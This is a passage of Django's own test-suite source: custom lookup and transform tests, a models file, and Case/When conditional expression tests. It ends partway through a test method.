            a3 = Author.objects.create(name='a3', age=3)
            a4 = Author.objects.create(name='a4', age=4)
            baseqs = Author.objects.order_by('name')

            self.assertQuerysetEqual(
                baseqs.filter(age__mult3__div3=42),
                # mult3__div3 always leads to 0
                [a1, a2, a3, a4], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__mult3=42),
                [a3], lambda x: x)

    def test_bilateral_fexpr(self):
        with register_lookup(models.IntegerField, Mult3BilateralTransform):
            a1 = Author.objects.create(name='a1', age=1, average_rating=3.2)
            a2 = Author.objects.create(name='a2', age=2, average_rating=0.5)
            a3 = Author.objects.create(name='a3', age=3, average_rating=1.5)
            a4 = Author.objects.create(name='a4', age=4)
            baseqs = Author.objects.order_by('name')
            self.assertQuerysetEqual(
                baseqs.filter(age__mult3=models.F('age')),
                [a1, a2, a3, a4], lambda x: x)
            self.assertQuerysetEqual(
                # Same as age >= average_rating
                baseqs.filter(age__mult3__gte=models.F('average_rating')),
                [a2, a3], lambda x: x)


@override_settings(USE_TZ=True)
class DateTimeLookupTests(TestCase):
    @unittest.skipUnless(connection.vendor == 'mysql', "MySQL specific SQL used")
    def test_datetime_output_field(self):
        with register_lookup(models.PositiveIntegerField, DateTimeTransform):
            ut = MySQLUnixTimestamp.objects.create(timestamp=time.time())
            y2k = timezone.make_aware(datetime(2000, 1, 1))
            self.assertQuerysetEqual(
                MySQLUnixTimestamp.objects.filter(timestamp__as_datetime__gt=y2k),
                [ut], lambda x: x)


class YearLteTests(TestCase):
    def setUp(self):
        models.DateField.register_lookup(YearTransform)
        self.a1 = Author.objects.create(name='a1', birthdate=date(1981, 2, 16))
        self.a2 = Author.objects.create(name='a2', birthdate=date(2012, 2, 29))
        self.a3 = Author.objects.create(name='a3', birthdate=date(2012, 1, 31))
        self.a4 = Author.objects.create(name='a4', birthdate=date(2012, 3, 1))

    def tearDown(self):
        models.DateField._unregister_lookup(YearTransform)

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific SQL used")
    def test_year_lte(self):
        baseqs = Author.objects.order_by('name')
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear__lte=2012),
            [self.a1, self.a2, self.a3, self.a4], lambda x: x)
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear=2012),
            [self.a2, self.a3, self.a4], lambda x: x)

        self.assertNotIn('BETWEEN', str(baseqs.filter(birthdate__testyear=2012).query))
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear__lte=2011),
            [self.a1], lambda x: x)
        # The non-optimized version works, too.
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear__lt=2012),
            [self.a1], lambda x: x)

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific SQL used")
    def test_year_lte_fexpr(self):
        self.a2.age = 2011
        self.a2.save()
        self.a3.age = 2012
        self.a3.save()
        self.a4.age = 2013
        self.a4.save()
        baseqs = Author.objects.order_by('name')
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear__lte=models.F('age')),
            [self.a3, self.a4], lambda x: x)
        self.assertQuerysetEqual(
            baseqs.filter(birthdate__testyear__lt=models.F('age')),
            [self.a4], lambda x: x)

    def test_year_lte_sql(self):
        # This test will just check the generated SQL for __lte. This
        # doesn't require running on PostgreSQL and spots the most likely
        # error - not running YearLte SQL at all.
        baseqs = Author.objects.order_by('name')
        self.assertIn(
            '<= (2011 || ', str(baseqs.filter(birthdate__testyear__lte=2011).query))
        self.assertIn(
            '-12-31', str(baseqs.filter(birthdate__testyear__lte=2011).query))

    def test_postgres_year_exact(self):
        baseqs = Author.objects.order_by('name')
        self.assertIn(
            '= (2011 || ', str(baseqs.filter(birthdate__testyear=2011).query))
        self.assertIn(
            '-12-31', str(baseqs.filter(birthdate__testyear=2011).query))

    def test_custom_implementation_year_exact(self):
        try:
            # Two ways to add a customized implementation for different backends:
            # First is MonkeyPatch of the class.
            def as_custom_sql(self, compiler, connection):
                lhs_sql, lhs_params = self.process_lhs(compiler, connection, self.lhs.lhs)
                rhs_sql, rhs_params = self.process_rhs(compiler, connection)
                params = lhs_params + rhs_params + lhs_params + rhs_params
                return ("%(lhs)s >= str_to_date(concat(%(rhs)s, '-01-01'), '%%%%Y-%%%%m-%%%%d') "
                        "AND %(lhs)s <= str_to_date(concat(%(rhs)s, '-12-31'), '%%%%Y-%%%%m-%%%%d')" %
                        {'lhs': lhs_sql, 'rhs': rhs_sql}, params)
            setattr(YearExact, 'as_' + connection.vendor, as_custom_sql)
            self.assertIn(
                'concat(',
                str(Author.objects.filter(birthdate__testyear=2012).query))
        finally:
            delattr(YearExact, 'as_' + connection.vendor)
        try:
            # The other way is to subclass the original lookup and register the subclassed
            # lookup instead of the original.
            class CustomYearExact(YearExact):
                # This method should be named "as_mysql" for MySQL, "as_postgresql" for postgres
                # and so on, but as we don't know which DB we are running on, we need to use
                # setattr.
                def as_custom_sql(self, compiler, connection):
                    lhs_sql, lhs_params = self.process_lhs(compiler, connection, self.lhs.lhs)
                    rhs_sql, rhs_params = self.process_rhs(compiler, connection)
                    params = lhs_params + rhs_params + lhs_params + rhs_params
                    return ("%(lhs)s >= str_to_date(CONCAT(%(rhs)s, '-01-01'), '%%%%Y-%%%%m-%%%%d') "
                            "AND %(lhs)s <= str_to_date(CONCAT(%(rhs)s, '-12-31'), '%%%%Y-%%%%m-%%%%d')" %
                            {'lhs': lhs_sql, 'rhs': rhs_sql}, params)
            setattr(CustomYearExact, 'as_' + connection.vendor, CustomYearExact.as_custom_sql)
            YearTransform.register_lookup(CustomYearExact)
            self.assertIn(
                'CONCAT(',
                str(Author.objects.filter(birthdate__testyear=2012).query))
        finally:
            YearTransform._unregister_lookup(CustomYearExact)
            YearTransform.register_lookup(YearExact)


class TrackCallsYearTransform(YearTransform):
    # Use a name that avoids collision with the built-in year lookup.
    lookup_name = 'testyear'
    call_order = []

    def as_sql(self, compiler, connection):
        lhs_sql, params = compiler.compile(self.lhs)
        return connection.ops.date_extract_sql('year', lhs_sql), params

    @property
    def output_field(self):
        return models.IntegerField()

    def get_lookup(self, lookup_name):
        self.call_order.append('lookup')
        return super(TrackCallsYearTransform, self).get_lookup(lookup_name)

    def get_transform(self, lookup_name):
        self.call_order.append('transform')
        return super(TrackCallsYearTransform, self).get_transform(lookup_name)


class LookupTransformCallOrderTests(TestCase):
    def test_call_order(self):
        with register_lookup(models.DateField, TrackCallsYearTransform):
            # junk lookup - tries lookup, then transform, then fails
            with self.assertRaises(FieldError):
                Author.objects.filter(birthdate__testyear__junk=2012)
            self.assertEqual(TrackCallsYearTransform.call_order,
                             ['lookup', 'transform'])
            TrackCallsYearTransform.call_order = []
            # junk transform - tries transform only, then fails
            with self.assertRaises(FieldError):
                Author.objects.filter(birthdate__testyear__junk__more_junk=2012)
            self.assertEqual(TrackCallsYearTransform.call_order,
                             ['transform'])
            TrackCallsYearTransform.call_order = []
            # Just getting the year (implied __exact) - lookup only
            Author.objects.filter(birthdate__testyear=2012)
            self.assertEqual(TrackCallsYearTransform.call_order,
                             ['lookup'])
            TrackCallsYearTransform.call_order = []
            # Just getting the year (explicit __exact) - lookup only
            Author.objects.filter(birthdate__testyear__exact=2012)
            self.assertEqual(TrackCallsYearTransform.call_order,
                             ['lookup'])


class CustomisedMethodsTests(TestCase):

    def test_overridden_get_lookup(self):
        q = CustomModel.objects.filter(field__lookupfunc_monkeys=3)
        self.assertIn('monkeys()', str(q.query))

    def test_overridden_get_transform(self):
        q = CustomModel.objects.filter(field__transformfunc_banana=3)
        self.assertIn('banana()', str(q.query))

    def test_overridden_get_lookup_chain(self):
        q = CustomModel.objects.filter(field__transformfunc_banana__lookupfunc_elephants=3)
        self.assertIn('elephants()', str(q.query))

    def test_overridden_get_transform_chain(self):
        q = CustomModel.objects.filter(field__transformfunc_banana__transformfunc_pear=3)
        self.assertIn('pear()', str(q.query))


class SubqueryTransformTests(TestCase):
    def test_subquery_usage(self):
        with register_lookup(models.IntegerField, Div3Transform):
            Author.objects.create(name='a1', age=1)
            a2 = Author.objects.create(name='a2', age=2)
            Author.objects.create(name='a3', age=3)
            Author.objects.create(name='a4', age=4)
            self.assertQuerysetEqual(
                Author.objects.order_by('name').filter(id__in=Author.objects.filter(age__div3=2)),
                [a2], lambda x: x)






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible

try:
    from PIL import Image
except ImportError:
    Image = None


@python_2_unicode_compatible
class CaseTestModel(models.Model):
    integer = models.IntegerField()
    integer2 = models.IntegerField(null=True)
    string = models.CharField(max_length=100, default='')

    big_integer = models.BigIntegerField(null=True)
    binary = models.BinaryField(default=b'')
    boolean = models.BooleanField(default=False)
    comma_separated_integer = models.CommaSeparatedIntegerField(max_length=100, default='')
    date = models.DateField(null=True, db_column='date_field')
    date_time = models.DateTimeField(null=True)
    decimal = models.DecimalField(max_digits=2, decimal_places=1, null=True, db_column='decimal_field')
    duration = models.DurationField(null=True)
    email = models.EmailField(default='')
    file = models.FileField(null=True, db_column='file_field')
    file_path = models.FilePathField(null=True)
    float = models.FloatField(null=True, db_column='float_field')
    if Image:
        image = models.ImageField(null=True)
    generic_ip_address = models.GenericIPAddressField(null=True)
    null_boolean = models.NullBooleanField()
    positive_integer = models.PositiveIntegerField(null=True)
    positive_small_integer = models.PositiveSmallIntegerField(null=True)
    slug = models.SlugField(default='')
    small_integer = models.SmallIntegerField(null=True)
    text = models.TextField(default='')
    time = models.TimeField(null=True, db_column='time_field')
    url = models.URLField(default='')
    uuid = models.UUIDField(null=True)
    fk = models.ForeignKey('self', models.CASCADE, null=True)

    def __str__(self):
        return "%i, %s" % (self.integer, self.string)


@python_2_unicode_compatible
class O2OCaseTestModel(models.Model):
    o2o = models.OneToOneField(CaseTestModel, models.CASCADE, related_name='o2o_rel')
    integer = models.IntegerField()

    def __str__(self):
        return "%i, %s" % (self.id, self.o2o)


@python_2_unicode_compatible
class FKCaseTestModel(models.Model):
    fk = models.ForeignKey(CaseTestModel, models.CASCADE, related_name='fk_rel')
    integer = models.IntegerField()

    def __str__(self):
        return "%i, %s" % (self.id, self.fk)


@python_2_unicode_compatible
class Client(models.Model):
    REGULAR = 'R'
    GOLD = 'G'
    PLATINUM = 'P'
    ACCOUNT_TYPE_CHOICES = (
        (REGULAR, 'Regular'),
        (GOLD, 'Gold'),
        (PLATINUM, 'Platinum'),
    )
    name = models.CharField(max_length=50)
    registered_on = models.DateField()
    account_type = models.CharField(
        max_length=1,
        choices=ACCOUNT_TYPE_CHOICES,
        default=REGULAR,
    )

    def __str__(self):
        return self.name












from __future__ import unicode_literals

import unittest
from datetime import date, datetime, time, timedelta
from decimal import Decimal
from operator import attrgetter, itemgetter
from uuid import UUID

from django.core.exceptions import FieldError
from django.db import connection, models
from django.db.models import F, Max, Min, Q, Sum, Value
from django.db.models.expressions import Case, When
from django.test import TestCase
from django.utils import six

from .models import CaseTestModel, Client, FKCaseTestModel, O2OCaseTestModel

try:
    from PIL import Image
except ImportError:
    Image = None


class CaseExpressionTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        o = CaseTestModel.objects.create(integer=1, integer2=1, string='1')
        O2OCaseTestModel.objects.create(o2o=o, integer=1)
        FKCaseTestModel.objects.create(fk=o, integer=1)

        o = CaseTestModel.objects.create(integer=2, integer2=3, string='2')
        O2OCaseTestModel.objects.create(o2o=o, integer=2)
        FKCaseTestModel.objects.create(fk=o, integer=2)
        FKCaseTestModel.objects.create(fk=o, integer=3)

        o = CaseTestModel.objects.create(integer=3, integer2=4, string='3')
        O2OCaseTestModel.objects.create(o2o=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=4)

        o = CaseTestModel.objects.create(integer=2, integer2=2, string='2')
        O2OCaseTestModel.objects.create(o2o=o, integer=2)
        FKCaseTestModel.objects.create(fk=o, integer=2)
        FKCaseTestModel.objects.create(fk=o, integer=3)

        o = CaseTestModel.objects.create(integer=3, integer2=4, string='3')
        O2OCaseTestModel.objects.create(o2o=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=4)

        o = CaseTestModel.objects.create(integer=3, integer2=3, string='3')
        O2OCaseTestModel.objects.create(o2o=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=3)
        FKCaseTestModel.objects.create(fk=o, integer=4)

        o = CaseTestModel.objects.create(integer=4, integer2=5, string='4')
        O2OCaseTestModel.objects.create(o2o=o, integer=1)
        FKCaseTestModel.objects.create(fk=o, integer=5)

        # GROUP BY on Oracle fails with TextField/BinaryField; see #24096.
        cls.non_lob_fields = [
            f.name for f in CaseTestModel._meta.get_fields()
            if not (f.is_relation and f.auto_created) and not isinstance(f, (models.BinaryField, models.TextField))
        ]

    def test_annotate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(test=Case(
                When(integer=1, then=Value('one')),
                When(integer=2, then=Value('two')),
                default=Value('other'),
                output_field=models.CharField(),
            )).order_by('pk'),
            [(1, 'one'), (2, 'two'), (3, 'other'), (2, 'two'), (3, 'other'), (3, 'other'), (4, 'other')],
            transform=attrgetter('integer', 'test')
        )

    def test_annotate_without_default(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(test=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
                output_field=models.IntegerField(),
            )).order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'test')
        )

    def test_annotate_with_expression_as_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(f_test=Case(
                When(integer=1, then=F('integer') + 1),
                When(integer=2, then=F('integer') + 3),
                default='integer',
            )).order_by('pk'),
            [(1, 2), (2, 5), (3, 3), (2, 5), (3, 3), (3, 3), (4, 4)],
            transform=attrgetter('integer', 'f_test')
        )

    def test_annotate_with_expression_as_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(f_test=Case(
                When(integer2=F('integer'), then=Value('equal')),
                When(integer2=F('integer') + 1, then=Value('+1')),
                output_field=models.CharField(),
            )).order_by('pk'),
            [(1, 'equal'), (2, '+1'), (3, '+1'), (2, 'equal'), (3, '+1'), (3, 'equal'), (4, '+1')],
            transform=attrgetter('integer', 'f_test')
        )

    def test_annotate_with_join_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(join_test=Case(
                When(integer=1, then=F('o2o_rel__integer') + 1),
                When(integer=2, then=F('o2o_rel__integer') + 3),
                default='o2o_rel__integer',
            )).order_by('pk'),
            [(1, 2), (2, 5), (3, 3), (2, 5), (3, 3), (3, 3), (4, 1)],
            transform=attrgetter('integer', 'join_test')
        )

    def test_annotate_with_in_clause(self):
        fk_rels = FKCaseTestModel.objects.filter(integer__in=[5])
        self.assertQuerysetEqual(
            CaseTestModel.objects.only('pk', 'integer').annotate(in_test=Sum(Case(
                When(fk_rel__in=fk_rels, then=F('fk_rel__integer')),
                default=Value(0),
            ))).order_by('pk'),
            [(1, 0), (2, 0), (3, 0), (2, 0), (3, 0), (3, 0), (4, 5)],
            transform=attrgetter('integer', 'in_test')
        )

    def test_annotate_with_join_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(join_test=Case(
                When(integer2=F('o2o_rel__integer'), then=Value('equal')),
                When(integer2=F('o2o_rel__integer') + 1, then=Value('+1')),
                default=Value('other'),
                output_field=models.CharField(),
            )).order_by('pk'),
            [(1, 'equal'), (2, '+1'), (3, '+1'), (2, 'equal'), (3, '+1'), (3, 'equal'), (4, 'other')],
            transform=attrgetter('integer', 'join_test')
        )

    def test_annotate_with_join_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(join_test=Case(
                When(o2o_rel__integer=1, then=Value('one')),
                When(o2o_rel__integer=2, then=Value('two')),
                When(o2o_rel__integer=3, then=Value('three')),
                default=Value('other'),
                output_field=models.CharField(),
            )).order_by('pk'),
            [(1, 'one'), (2, 'two'), (3, 'three'), (2, 'two'), (3, 'three'), (3, 'three'), (4, 'one')],
            transform=attrgetter('integer', 'join_test')
        )

    def test_annotate_with_annotation_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f_plus_1=F('integer') + 1,
                f_plus_3=F('integer') + 3,
            ).annotate(
                f_test=Case(
                    When(integer=1, then='f_plus_1'),
                    When(integer=2, then='f_plus_3'),
                    default='integer',
                ),
            ).order_by('pk'),
            [(1, 2), (2, 5), (3, 3), (2, 5), (3, 3), (3, 3), (4, 4)],
            transform=attrgetter('integer', 'f_test')
        )

    def test_annotate_with_annotation_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f_plus_1=F('integer') + 1,
            ).annotate(
                f_test=Case(
                    When(integer2=F('integer'), then=Value('equal')),
                    When(integer2=F('f_plus_1'), then=Value('+1')),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [(1, 'equal'), (2, '+1'), (3, '+1'), (2, 'equal'), (3, '+1'), (3, 'equal'), (4, '+1')],
            transform=attrgetter('integer', 'f_test')
        )

    def test_annotate_with_annotation_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f_minus_2=F('integer') - 2,
            ).annotate(
                test=Case(
                    When(f_minus_2=-1, then=Value('negative one')),
                    When(f_minus_2=0, then=Value('zero')),
                    When(f_minus_2=1, then=Value('one')),
                    default=Value('other'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [(1, 'negative one'), (2, 'zero'), (3, 'one'), (2, 'zero'), (3, 'one'), (3, 'one'), (4, 'other')],
            transform=attrgetter('integer', 'test')
        )

    def test_annotate_with_aggregation_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                min=Min('fk_rel__integer'),
                max=Max('fk_rel__integer'),
            ).annotate(
                test=Case(
                    When(integer=2, then='min'),
                    When(integer=3, then='max'),
                ),
            ).order_by('pk'),
            [(1, None, 1, 1), (2, 2, 2, 3), (3, 4, 3, 4), (2, 2, 2, 3), (3, 4, 3, 4), (3, 4, 3, 4), (4, None, 5, 5)],
            transform=itemgetter('integer', 'test', 'min', 'max')
        )

    def test_annotate_with_aggregation_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                min=Min('fk_rel__integer'),
                max=Max('fk_rel__integer'),
            ).annotate(
                test=Case(
                    When(integer2=F('min'), then=Value('min')),
                    When(integer2=F('max'), then=Value('max')),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [(1, 1, 'min'), (2, 3, 'max'), (3, 4, 'max'), (2, 2, 'min'), (3, 4, 'max'), (3, 3, 'min'), (4, 5, 'min')],
            transform=itemgetter('integer', 'integer2', 'test')
        )

    def test_annotate_with_aggregation_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                max=Max('fk_rel__integer'),
            ).annotate(
                test=Case(
                    When(max=3, then=Value('max = 3')),
                    When(max=4, then=Value('max = 4')),
                    default=Value(''),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [(1, 1, ''), (2, 3, 'max = 3'), (3, 4, 'max = 4'), (2, 3, 'max = 3'),
             (3, 4, 'max = 4'), (3, 4, 'max = 4'), (4, 5, '')],
            transform=itemgetter('integer', 'max', 'test')
        )

    def test_annotate_exclude(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(test=Case(
                When(integer=1, then=Value('one')),
                When(integer=2, then=Value('two')),
                default=Value('other'),
                output_field=models.CharField(),
            )).exclude(test='other').order_by('pk'),
            [(1, 'one'), (2, 'two'), (2, 'two')],
            transform=attrgetter('integer', 'test')
        )

    def test_annotate_values_not_in_order_by(self):
        self.assertEqual(
            list(CaseTestModel.objects.annotate(test=Case(
                When(integer=1, then=Value('one')),
                When(integer=2, then=Value('two')),
                When(integer=3, then=Value('three')),
                default=Value('other'),
                output_field=models.CharField(),
            )).order_by('test').values_list('integer', flat=True)),
            [1, 4, 3, 3, 3, 2, 2]
        )

    def test_annotate_with_empty_when(self):
        objects = CaseTestModel.objects.annotate(
            selected=Case(
                When(pk__in=[], then=Value('selected')),
                default=Value('not selected'), output_field=models.CharField()
            )
        )
        self.assertEqual(len(objects), CaseTestModel.objects.count())
        self.assertTrue(all(obj.selected == 'not selected' for obj in objects))

    def test_combined_expression(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                test=Case(
                    When(integer=1, then=2),
                    When(integer=2, then=1),
                    default=3,
                    output_field=models.IntegerField(),
                ) + 1,
            ).order_by('pk'),
            [(1, 3), (2, 2), (3, 4), (2, 2), (3, 4), (3, 4), (4, 4)],
            transform=attrgetter('integer', 'test')
        )

    if connection.vendor == 'sqlite' and connection.Database.sqlite_version_info < (3, 7, 0):
        # There is a bug in sqlite < 3.7.0, where placeholder order is lost.
        # Thus, the above query returns  <condition_value> + <result_value>
        # for each matching case instead of <result_value> + 1 (#24148).
        test_combined_expression = unittest.expectedFailure(test_combined_expression)

    def test_in_subquery(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(
                pk__in=CaseTestModel.objects.annotate(
                    test=Case(
                        When(integer=F('integer2'), then='pk'),
                        When(integer=4, then='pk'),
                        output_field=models.IntegerField(),
                    ),
                ).values('test')).order_by('pk'),
            [(1, 1), (2, 2), (3, 3), (4, 5)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_case_reuse(self):
        SOME_CASE = Case(
            When(pk=0, then=Value('0')),
            default=Value('1'),
            output_field=models.CharField(),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(somecase=SOME_CASE).order_by('pk'),
            CaseTestModel.objects.annotate(somecase=SOME_CASE).order_by('pk').values_list('pk', 'somecase'),
            lambda x: (x.pk, x.somecase)
        )

    def test_aggregate(self):
        self.assertEqual(
            CaseTestModel.objects.aggregate(
                one=models.Sum(Case(
                    When(integer=1, then=1),
                    output_field=models.IntegerField(),
                )),
                two=models.Sum(Case(
                    When(integer=2, then=1),
                    output_field=models.IntegerField(),
                )),
                three=models.Sum(Case(
                    When(integer=3, then=1),
                    output_field=models.IntegerField(),
                )),
                four=models.Sum(Case(
                    When(integer=4, then=1),
                    output_field=models.IntegerField(),
                )),
            ),
            {'one': 1, 'two': 2, 'three': 3, 'four': 1}
        )

    def test_aggregate_with_expression_as_value(self):
        self.assertEqual(
            CaseTestModel.objects.aggregate(
                one=models.Sum(Case(When(integer=1, then='integer'))),
                two=models.Sum(Case(When(integer=2, then=F('integer') - 1))),
                three=models.Sum(Case(When(integer=3, then=F('integer') + 1))),
            ),
            {'one': 1, 'two': 2, 'three': 12}
        )

    def test_aggregate_with_expression_as_condition(self):
        self.assertEqual(
            CaseTestModel.objects.aggregate(
                equal=models.Sum(Case(
                    When(integer2=F('integer'), then=1),
                    output_field=models.IntegerField(),
                )),
                plus_one=models.Sum(Case(
                    When(integer2=F('integer') + 1, then=1),
                    output_field=models.IntegerField(),
                )),
            ),
            {'equal': 3, 'plus_one': 4}
        )

    def test_filter(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer2=Case(
                When(integer=2, then=3),
                When(integer=3, then=4),
                default=1,
                output_field=models.IntegerField(),
            )).order_by('pk'),
            [(1, 1), (2, 3), (3, 4), (3, 4)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_without_default(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer2=Case(
                When(integer=2, then=3),
                When(integer=3, then=4),
                output_field=models.IntegerField(),
            )).order_by('pk'),
            [(2, 3), (3, 4), (3, 4)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_expression_as_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer2=Case(
                When(integer=2, then=F('integer') + 1),
                When(integer=3, then=F('integer')),
                default='integer',
            )).order_by('pk'),
            [(1, 1), (2, 3), (3, 3)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_expression_as_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(string=Case(
                When(integer2=F('integer'), then=Value('2')),
                When(integer2=F('integer') + 1, then=Value('3')),
                output_field=models.CharField(),
            )).order_by('pk'),
            [(3, 4, '3'), (2, 2, '2'), (3, 4, '3')],
            transform=attrgetter('integer', 'integer2', 'string')
        )

    def test_filter_with_join_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer2=Case(
                When(integer=2, then=F('o2o_rel__integer') + 1),
                When(integer=3, then=F('o2o_rel__integer')),
                default='o2o_rel__integer',
            )).order_by('pk'),
            [(1, 1), (2, 3), (3, 3)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_join_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer=Case(
                When(integer2=F('o2o_rel__integer') + 1, then=2),
                When(integer2=F('o2o_rel__integer'), then=3),
                output_field=models.IntegerField(),
            )).order_by('pk'),
            [(2, 3), (3, 3)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_join_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer2=Case(
                When(o2o_rel__integer=1, then=1),
                When(o2o_rel__integer=2, then=3),
                When(o2o_rel__integer=3, then=4),
                output_field=models.IntegerField(),
            )).order_by('pk'),
            [(1, 1), (2, 3), (3, 4), (3, 4)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_annotation_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f=F('integer'),
                f_plus_1=F('integer') + 1,
            ).filter(
                integer2=Case(
                    When(integer=2, then='f_plus_1'),
                    When(integer=3, then='f'),
                ),
            ).order_by('pk'),
            [(2, 3), (3, 3)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_annotation_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f_plus_1=F('integer') + 1,
            ).filter(
                integer=Case(
                    When(integer2=F('integer'), then=2),
                    When(integer2=F('f_plus_1'), then=3),
                    output_field=models.IntegerField(),
                ),
            ).order_by('pk'),
            [(3, 4), (2, 2), (3, 4)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_annotation_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                f_plus_1=F('integer') + 1,
            ).filter(
                integer2=Case(
                    When(f_plus_1=3, then=3),
                    When(f_plus_1=4, then=4),
                    default=1,
                    output_field=models.IntegerField(),
                ),
            ).order_by('pk'),
            [(1, 1), (2, 3), (3, 4), (3, 4)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_filter_with_aggregation_in_value(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                min=Min('fk_rel__integer'),
                max=Max('fk_rel__integer'),
            ).filter(
                integer2=Case(
                    When(integer=2, then='min'),
                    When(integer=3, then='max'),
                ),
            ).order_by('pk'),
            [(3, 4, 3, 4), (2, 2, 2, 3), (3, 4, 3, 4)],
            transform=itemgetter('integer', 'integer2', 'min', 'max')
        )

    def test_filter_with_aggregation_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                min=Min('fk_rel__integer'),
                max=Max('fk_rel__integer'),
            ).filter(
                integer=Case(
                    When(integer2=F('min'), then=2),
                    When(integer2=F('max'), then=3),
                ),
            ).order_by('pk'),
            [(3, 4, 3, 4), (2, 2, 2, 3), (3, 4, 3, 4)],
            transform=itemgetter('integer', 'integer2', 'min', 'max')
        )

    def test_filter_with_aggregation_in_predicate(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.values(*self.non_lob_fields).annotate(
                max=Max('fk_rel__integer'),
            ).filter(
                integer=Case(
                    When(max=3, then=2),
                    When(max=4, then=3),
                ),
            ).order_by('pk'),
            [(2, 3, 3), (3, 4, 4), (2, 2, 3), (3, 4, 4), (3, 3, 4)],
            transform=itemgetter('integer', 'integer2', 'max')
        )

    def test_update(self):
        CaseTestModel.objects.update(
            string=Case(
                When(integer=1, then=Value('one')),
                When(integer=2, then=Value('two')),
                default=Value('other'),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 'one'), (2, 'two'), (3, 'other'), (2, 'two'), (3, 'other'), (3, 'other'), (4, 'other')],
            transform=attrgetter('integer', 'string')
        )

    def test_update_without_default(self):
        CaseTestModel.objects.update(
            integer2=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'integer2')
        )

    def test_update_with_expression_as_value(self):
        CaseTestModel.objects.update(
            integer=Case(
                When(integer=1, then=F('integer') + 1),
                When(integer=2, then=F('integer') + 3),
                default='integer',
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [('1', 2), ('2', 5), ('3', 3), ('2', 5), ('3', 3), ('3', 3), ('4', 4)],
            transform=attrgetter('string', 'integer')
        )

    def test_update_with_expression_as_condition(self):
        CaseTestModel.objects.update(
            string=Case(
                When(integer2=F('integer'), then=Value('equal')),
                When(integer2=F('integer') + 1, then=Value('+1')),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 'equal'), (2, '+1'), (3, '+1'), (2, 'equal'), (3, '+1'), (3, 'equal'), (4, '+1')],
            transform=attrgetter('integer', 'string')
        )

    def test_update_with_join_in_condition_raise_field_error(self):
